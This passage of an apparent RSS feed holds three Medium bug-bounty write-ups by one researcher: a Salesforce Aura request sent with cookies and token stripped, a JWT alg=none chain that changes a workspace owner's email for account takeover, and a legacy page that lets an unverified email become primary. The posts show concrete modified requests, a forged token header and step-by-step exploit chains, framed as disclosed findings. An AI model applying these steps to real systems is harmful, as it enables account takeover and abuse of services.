logic looked something like this?</p><ul><li><em>If </em><em>Cookies are present -&gt; Validate them.</em></li><li><em>If </em><em>aura.token is present -&gt; Validate it.</em></li></ul><p>But what if the developer forgot to handle the scenario where <strong>neither</strong> is provided? What if the application falls back to a default “guest” or “unauthenticated” execution path if it doesn’t see any credentials to validate?</p><p>I decided to test this wild theory. I took the request, <strong>deleted the Cookies entirely</strong>, AND set the aura.token= to empty.</p><p><strong>The Modified Request:</strong></p><pre>POST /s/sfsites/aura?r=20&amp;aura.ApexAction.execute=1 HTTP/2<br>Host: support.target.com<br>Cookie: [COMPLETELY REMOVED]<br>Content-Type: application/x-www-form-urlencoded;charset=UTF-8</pre><pre>message={&quot;actions&quot;:[{&quot;id&quot;:&quot;234;a&quot;,&quot;descriptor&quot;:&quot;aura://ApexActionController/ACTION$execute&quot;,&quot;callingDescriptor&quot;:&quot;UNKNOWN&quot;,&quot;params&quot;:{&quot;namespace&quot;:&quot;&quot;,&quot;classname&quot;:&quot;HubTopicActivityController&quot;,&quot;method&quot;:&quot;topicFeedback&quot;,&quot;params&quot;:{&quot;topicId&quot;:&quot;aAXPh000000CRSfOAO&quot;,&quot;feedbackReason&quot;:&quot;Information inaccurate&quot;,&quot;feedbackDescription&quot;:&quot;TEST&quot;},&quot;cacheable&quot;:false,&quot;isContinuation&quot;:false}}]}&amp;aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22eE5UbjZPdVlRT3M0d0xtOXc5MzVOQWg5TGxiTHU3MEQ5RnBMM0VzVXc1cmcxMi42MjkxNDU2LjE2Nzc3MjE2%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%221305_7pTC6grCTP7M16KdvDQ-Xw%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Atrue%7D&amp;aura.pageURI=/s/hubtopic/aAXPh000000CRSfOAO/the-more-you-know-rss-feeds&amp;aura.token=</pre><p>I clicked ‘Send’. I fully expected another 403.</p><p>Instead, the server responded:</p><pre>{&quot;actions&quot;:[{&quot;id&quot;:&quot;442;a&quot;,&quot;state&quot;:&quot;SUCCESS&quot;,&quot;returnValue&quot;:{&quot;cacheable&quot;:false},&quot;error&quot;:[]}]}</pre><p><strong>200 OK. </strong><strong>state: SUCCESS.</strong> I refreshed the article page on my browser (which was in an incognito window with no session). <strong>The Like count had gone up!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hNq_t1_kyMgiFLGlgizi0A.png" /></figure><p>I immediately tested the exact same technique on the <strong>Submit Feedback</strong> endpoint. Stripped the cookies, emptied the aura.token, and sent a fake &quot;Inaccurate Information&quot; report.</p><p>Again, state: SUCCESS. The anonymous feedback was submitted successfully.</p><h3>Impact &amp; Exploitation Scenarios</h3><p>While this doesn’t leak PII or lead to an account takeover, it allows for significant <strong>Business Logic Abuse</strong>:</p><ul><li><strong>Voting Manipulation (Botnets):</strong> An attacker could easily script a bot to loop through every topicId and mass-like or mass-dislike articles. This ruins the integrity of the knowledge base&#39;s popularity metrics.</li><li><strong>Feedback Spam (Denial of Service for Moderators):</strong> Since no account is required, an attacker could flood the system with thousands of fake feedback reports. This would overwhelm the content moderators, wasting internal resources and burying legitimate user feedback.</li></ul><h3>The Result</h3><p>I wrote up the report detailing the exact steps to reproduce and the potential impact on the company’s support operations.</p><p>The triage team reproduced it and accepted it as <strong>Valid</strong>. ❤️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vZ2fiVTC7oxvNV4r" /></figure><p>It was ultimately classified as a <strong>P4 (Low Severity)</strong>. While we all love higher payouts, I was completely satisfied. A valid bug is a valid bug, and discovering this specific logic bypass was incredibly satisfying.</p><h3>Key Takeaways for Hunters</h3><ul><li><strong>Don’t trust the first 403:</strong> Just because dropping cookies results in a 403 doesn’t mean the endpoint is secure. Look for other parameters acting as auth mechanisms (like aura.token).</li><li><strong>Test the Extremes (Edge Cases):</strong> If removing variable A fails, and removing variable B fails… try removing both A and B. Backend logic can sometimes fail open if no validation triggers are hit.</li><li><strong>Read the Body:</strong> Spend time understanding the structure of the frameworks you are testing (like Salesforce Aura). Recognizing parameters like aura.token is key to finding bypasses.</li></ul><p><strong>Happy Hacking!</strong> 🕵️‍♂️🔥</p><h3>Let’s Connect! 🌐</h3><p>If you enjoyed this writeup, let’s stay in touch! I regularly share bug bounty tips, writeups, and security insights.</p><ul><li><strong>LinkedIn:</strong> <a href="http://www.linkedin.com/in/belal-shohaip-5a34b7306">Connect with me here</a> 👔</li><li><strong>X (Twitter):</strong> <a href="https://x.com/BelScarabX">Follow me here</a> 🐦</li></ul><p><strong>Don’t forget to drop 50 claps 👏 if you liked the article!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=691de0c9ab76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My First Bug Bounty: How I Hijacked an Entire Workspace using a JWT alg=none Attack]]></title>
            <link>https://medium.com/@belalshohaip222/my-first-bug-bounty-how-i-hijacked-an-entire-workspace-using-a-jwt-alg-none-attack-fef78ad00df8?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/fef78ad00df8</guid>
            <category><![CDATA[find-your-first-bug]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[first-bug]]></category>
            <category><![CDATA[jwt-token]]></category>
            <category><![CDATA[account-takeover]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Fri, 10 Apr 2026 13:52:47 GMT</pubDate>
            <atom:updated>2026-04-10T13:52:47.339Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T3HOs8EE8ZM7JNcbwf2VoA.jpeg" /></figure><h3>Introduction: The First Blood 🩸</h3><p>They say you never forget your first bug. After countless hours of reading writeups, watching tutorials, and staring at Burp Suite, the moment you finally see that vulnerability unfold right in front of your eyes is indescribable.</p><p>Recently, I secured my very first valid Bug Bounty. It wasn’t a simple XSS or an open redirect; it was a <strong>High/Critical Account Takeover (ATO)</strong> that allowed me to completely hijack an entire workspace and kick out the original owner.</p><p>The root cause? A classic, yet devastating, misconfiguration in JSON Web Tokens (JWT) handling combined with GraphQL authorization flaws. Here is the story of how I went from multiple dead-ends to full privilege escalation.</p><h3>The Target &amp; The Premise</h3><p>The target (let’s call it app.target.com) was a collaborative platform built around the concept of <strong>Workspaces</strong>. Each workspace has an <strong>Owner</strong> who can invite other users (Admins, Editors, Guests).</p><p>While monitoring the HTTP traffic, I noticed the application relied heavily on <strong>JWT (JSON Web Tokens)</strong> in the Authorization header to authenticate users and validate their permissions for various GraphQL mutations.</p><p>My hacker instinct kicked in: <em>Can I manipulate this token to become someone else?</em></p><h3>Phase 1: The Frustration &amp; Dead Ends</h3><p>I started with the basics. I intercepted my own login request, decoded the JWT, and tried to change the email and name payloads to match another user.</p><p><em>Result:</em> 401 Unauthorized. The server&#39;s signature verification caught me.</p><p>Next, I shifted my focus to the <strong>Password Reset</strong> functionality. I triggered a reset, hoping the link sent to the email would have a predictable token or pattern I could crack. I spent time trying to reverse-engineer the reset link format.</p><p><em>Result:</em> Failed. The tokens were cryptographically secure.</p><p>I felt a bit discouraged, but I went back to the JWT. I wondered: <em>“What if the server verifies the signature, but doesn’t force a specific algorithm?”</em></p><h3>Phase 2: The Turning Point (alg=none)</h3><p>I decided to test for the infamous <strong>Algorithm Confusion</strong> attack. Using Burp Suite, I intercepted a request, decoded the JWT header, and changed the algorithm from HS256 (or RS256) to <strong>none</strong>. I stripped the signature completely from the end of the token and sent it to the server.</p><pre>// Modified Header<br>{<br>  &quot;alg&quot;: &quot;none&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><p>I held my breath and clicked ‘Send’.</p><p><strong>Response: </strong><strong>200 OK.</strong> The server accepted the unsigned token! I had successfully bypassed the authentication mechanism. ✅</p><h3>Phase 3: The Missing Puzzle Pieces</h3><p>I had a bypass, but I couldn’t just take over an account yet. I faced two major hurdles:</p><ul><li><strong>The Victim’s ID:</strong> The JWT relied on a sub or id claim to identify the user. I didn&#39;t know the Owner&#39;s internal ID.</li><li><strong>The Reset Trap:</strong> Even with alg=none, if I triggered a password reset for the victim&#39;s ID, the reset link would still be sent to <em>their</em> email address, not mine.</li></ul><h3>Solving Puzzle #1: Information Disclosure</h3><p>I began hunting through the GraphQL queries loaded when accessing the dashboard. I found a query named PageSideBarMeQuery.</p><p>When executed, this query returned the workspaces I belonged to, but surprisingly, it also leaked the <strong>internal User IDs of every single member</strong> in those workspaces, including the Owner!</p><p>GraphQL</p><pre>query PageSideBarMeQuery {<br>  user: me {<br>    id<br>    workspaces {<br>      id<br>      users {<br>        id # Bingo! Victim ID found here.<br>      }<br>    }<br>  }}g</pre><h3>Solving Puzzle #2: Changing the Victim’s Email</h3><p>Now I had the Owner’s ID, but I still needed the reset link to come to me.</p><p>While exploring the profile settings, I noticed a mutation called ProfileFormUpdateUser used to change a user&#39;s email address. I intercepted this request.</p><p>I took my unsigned JWT (alg=none), injected the <strong>Owner&#39;s ID</strong> into the payload, and modified the GraphQL variables to change the email to my own attacker-controlled email (attacker011@punkproof.com).</p><p><strong>The server responded:</strong></p><pre>{<br>  &quot;data&quot;: {<br>    &quot;updateUser&quot;: {<br>      &quot;user&quot;: {<br>        &quot;id&quot;: &quot;Victim_Owner_ID_Here&quot;,<br>        &quot;email&quot;: &quot;attacker011@punkproof.com&quot;,<br>        &quot;displayName&quot;: &quot;You Hacked&quot;<br>      }<br>    }<br>  }<br>}</pre><p><strong>Boom!</strong> 🔥 The server accepted the forged token and permanently changed the Owner’s email to mine.</p><h3>Phase 4: The Kill Chain (Full Takeover)</h3><p>With all the pieces in place, the exploit chain was beautifully simple:</p><ul><li><strong>Recon:</strong> Extract the Owner’s ID via the PageSideBarMeQuery information disclosure.</li><li><strong>Forge:</strong> Create a JWT with alg=none, no signature, and the Owner&#39;s ID in the payload.</li><li><strong>Hijack Email:</strong> Send the ProfileFormUpdateUser GraphQL mutation using the forged JWT to change the Owner&#39;s email to the attacker&#39;s email.</li><li><strong>Trigger Reset:</strong> Request a password reset. Because the email was changed in Step 3, the reset link is routed directly to the attacker’s inbox.</li><li><strong>Takeover:</strong> Click the link, set a new password, and log in as the Owner.</li><li><strong>Escalate:</strong> As the Owner, I now had the power to remove the original owner completely and hijack the entire workspace and all its data.</li></ul><h3>Impact &amp; Severity</h3><p>This vulnerability was classified as <strong>High/Critical</strong>. It allowed for a complete compromise of the Confidentiality, Integrity, and Availability (CIA) of any workspace.</p><ul><li><strong>CWE-287:</strong> Improper Authentication</li><li><strong>CWE-284:</strong> Improper Access Control</li></ul><p>The developers patched this by strictly enforcing signature validation, disabling the none algorithm, and ensuring GraphQL mutations verify authorization against the actual authenticated session, not just the token&#39;s claims.</p><h3>Lessons Learned for Hunters</h3><ul><li><strong>Never give up at the first 401:</strong> If you can’t change the data, try changing the cryptographic rules (alg=none, key confusion).</li><li><strong>Chain your bugs:</strong> An information disclosure (leaking IDs) might seem low impact on its own, but combined with an Auth Bypass, it becomes Critical.</li><li><strong>Map the logic:</strong> Understanding the business logic (Workspaces -&gt; Users -&gt; IDs -&gt; Profile Edits) is what turns a theoretical bypass into a practical Account Takeover.</li></ul><p>Alhamdulillah (Praise be to God) for this milestone! It taught me patience and the true meaning of the “hacker mindset.”</p><h3>Let’s Connect! 🌐</h3><p>If you enjoyed reading about my first bug bounty journey, let’s stay in touch! I will be sharing more writeups, methodology tips, and security insights.</p><ul><li><strong>LinkedIn:</strong> <a href="http://www.linkedin.com/in/belal-shohaip-5a34b7306">Let’s connect here</a>! 👔</li><li><strong>X (Twitter):</strong> <a href="https://x.com/BelScarabX">Follow me for more tips</a>! 🐦</li></ul><p><strong>Don’t forget to drop 50 claps 👏 if you found this helpful! Happy Hacking! 🕵️‍♂️🔥</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fef78ad00df8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Deep Recon to Account Takeover: How Burp Suite Uncovered a Hidden “Legacy” Page]]></title>
            <link>https://medium.com/@belalshohaip222/from-deep-recon-to-account-takeover-how-burp-suite-uncovered-a-hidden-legacy-page-c060d1de9b0c?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c060d1de9b0c</guid>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[authentication-bypass]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Fri, 13 Feb 2026 08:46:05 GMT</pubDate>
            <atom:updated>2026-02-13T08:46:05.650Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>We often hear that “Reconnaissance is the most important phase in Bug Bounty,” but what does that actually look like in practice? Does it just mean finding subdomains?</p><p>For me, Recon goes beyond listing assets; it’s about understanding the application’s structure and finding those dark, dusty corners that developers forgot about.</p><p>In this writeup, I’ll share how I used <strong>Burp Suite’s Content Discovery</strong> to find a hidden, neglected page (/accounts/) on a learning subdomain. This page looked like raw HTML from the 90s, but it hid a critical flaw: it allowed me to <strong>take over</strong> any user account.</p><h3>Phase 1: The Recon &amp; Discovery</h3><p>I was testing a specific target scope (let’s call it learn.target.com). At first glance, the main application looked secure, modern, and well-tested. Standard fuzzing wasn&#39;t returning much.</p><p>I decided to dig deeper into the directory structure. I wanted to see if there were any hidden paths branching off the main endpoints.</p><h3>The Tool: Burp Suite Content Discovery</h3><p>Instead of just using generic wordlists, I utilized a powerful, often overlooked feature in Burp Suite Professional: <strong>Content Discovery</strong>.</p><ol><li>I captured a request to the main application.</li><li>Right-clicked the request in Burp.</li><li>Navigated to <strong>Engagement tools</strong> -&gt; <strong>Content Discovery</strong>.</li><li>I let Burp do its magic, crawling and fuzzing for hidden paths based on the application’s own naming conventions.</li></ol><h3>The Catch</h3><p>After letting it run for a while, Burp flagged a status 200 OK for a path that wasn&#39;t linked anywhere on the UI:</p><p><a href="https://learn.target.com/accounts/">https://learn.target.com/accounts/</a></p><p>When I opened this URL in the browser, it didn’t look like the rest of the site. It wasn’t a modern React or Vue page. It was a basic, <strong>Raw HTML page</strong>. It looked “marginalized” — like a legacy admin or debug page that was left behind during a migration and forgotten.</p><p>Usually, these “ugly” pages are gold mines because they often lack the security middleware present on the main site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cowf3N88_rfKK-cAe_jD9w.png" /></figure><h3>Phase 2: The Rollercoaster (False Hope &amp; Dead Ends)</h3><p>Upon landing on the legacy /accounts/ page, my eyes were immediately drawn to a <strong>&quot;Change Password&quot;</strong> link. I thought, <em>&quot;Could it be this easy?&quot;</em></p><p>I clicked it, and it redirected me to /password/change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-GwZHgSLmiZiYQl_zz1BA.png" /></figure><h3>Disappointment #1:</h3><p>The form required the <strong>Old Password</strong> to set a new one. Since I didn’t have the victim’s credentials, this was a dead end. (I was hoping to find a flaw where it didn’t require <strong>an</strong> old password).</p><p>I didn’t give up. I decided to analyze the <strong>“Forgot Password”</strong> flow linked on that page.</p><p>It redirected me to another path: /password/reset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k1KTAB0nHhfLUz4fd-apQA.png" /></figure><p>Here, the page simply asked for an email address to send the reset link to.</p><h3>The Adrenaline Rush:</h3><p>My heart skipped a beat. I immediately thought, <em>“Does this form validate if the email actually belongs to the account?”</em></p><p>I quickly entered my attacker-controlled email: attacker00@somoj.com.</p><p>I hit submit, expecting a link to land in my inbox.</p><h3>Disappointment #2:</h3><p>I waited… and waited. Nothing arrived.</p><p>It turned out the system <strong>did</strong> check if the email was associated with the account. Since attacker00@somoj.com wasn&#39;t linked to the victim&#39;s profile, the backend silently dropped the request.</p><p>I was back to square one. Or so I thought.</p><h3>Phase 3: The Logic Flaw</h3><p>I remembered the initial legacy page I found via Recon (/accounts/). I went back to it and decided to scroll down and look closer at every single field.</p><p>At the very bottom of the page, I found a section: <strong>“Add Email Address”</strong>.</p><h3>The Setup:</h3><ol><li>I entered my attacker email: attacker00@somoj.com.</li><li>I clicked <strong>“Add”</strong>.</li><li>The system accepted it! However, it was clearly marked as <strong>“Unverified”</strong> next to the email address.</li></ol><p>Usually, an unverified email is useless for sensitive actions. But then I noticed a button right next to it: <strong>“Make Primary”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_MS2JknZyNmk0MNB1lw_CQ.png" /></figure><h3>The Bypass:</h3><p>I clicked <strong>“Make Primary”</strong>.</p><p>In a modern application, this would trigger an error: <em>“Please verify email first.”</em></p><p>But on this forgotten HTML page? <strong>It just worked.</strong></p><p>The page refreshed, and attacker00@somoj.com was now the <strong>Primary Email</strong> of the victim&#39;s account—even though it was still unverified!</p><h3>Phase 4: The Takeover (ATO)</h3><p>Now that the system considered my email (attacker00@somoj.com) as the primary contact for the account, I knew exactly what to do.</p><ol><li>I went back to the <strong>“Forgot Password”</strong> page (/password/reset).</li><li>I entered my email (attacker00@somoj.com) again.</li><li><strong>Success:</strong> This time, because the email was linked and marked as “Primary,” the system immediately sent the reset link to my inbox.</li><li>I opened the link, set a new password, and logged into the victim’s account using the new password I just set.</li></ol><p><strong>Impact:</strong> I had achieved a full account takeover without ever knowing the victim’s password or accessing their original email (<strong>Bypassing Email Verification</strong>).</p><h3>Lessons Learned</h3><ul><li><strong>Fuzzing is Key:</strong> Don’t rely only on what you see in the browser. Tools like <strong>Burp’s Content Discovery</strong> are essential for finding what’s hidden.</li><li><strong>Look for “Ugly” Pages:</strong> If a page looks like it doesn’t belong (different UI, raw HTML), investigate it thoroughly. It likely lacks the security controls of the main application.</li><li><strong>Context Matters:</strong> The vulnerability wasn’t just “Missing Verification”; it was “Missing Verification <em>on a specific legacy endpoint</em>.”</li><li><strong>Don’t Give Up:</strong> Even if the direct path (Change Password) is blocked, look for side channels (Add Email -&gt; Make Primary -&gt; Reset).</li></ul><h3>Recommendation</h3><ul><li><strong>Asset Management:</strong> Audit and remove legacy or unused endpoints (/accounts/, /test/, etc.).</li><li><strong>Global Security Controls:</strong> Ensure that critical security logic (like Email Verification) is enforced at the API/Backend level, not just on the frontend or specific modern pages.</li></ul><h3>Let’s Connect! 🌐</h3><p>If you enjoyed this writeup or learned something new, let’s stay in touch! I regularly share bug bounty tips, writeups, and security insights.</p><ul><li><strong>LinkedIn:</strong> <a href="http://www.linkedin.com/in/belal-shohaip-5a34b7306">Connect with me here</a> 👔</li><li><strong>X (Twitter):</strong> <a href="https://x.com/BelScarabX">Follow me here</a> 🐦</li></ul><p><strong>Don’t forget to clap 👏 50 times if you liked the article!</strong></p><p><strong>Happy Hacking!</strong> 🕵️‍♂️🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c060d1de9b0c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>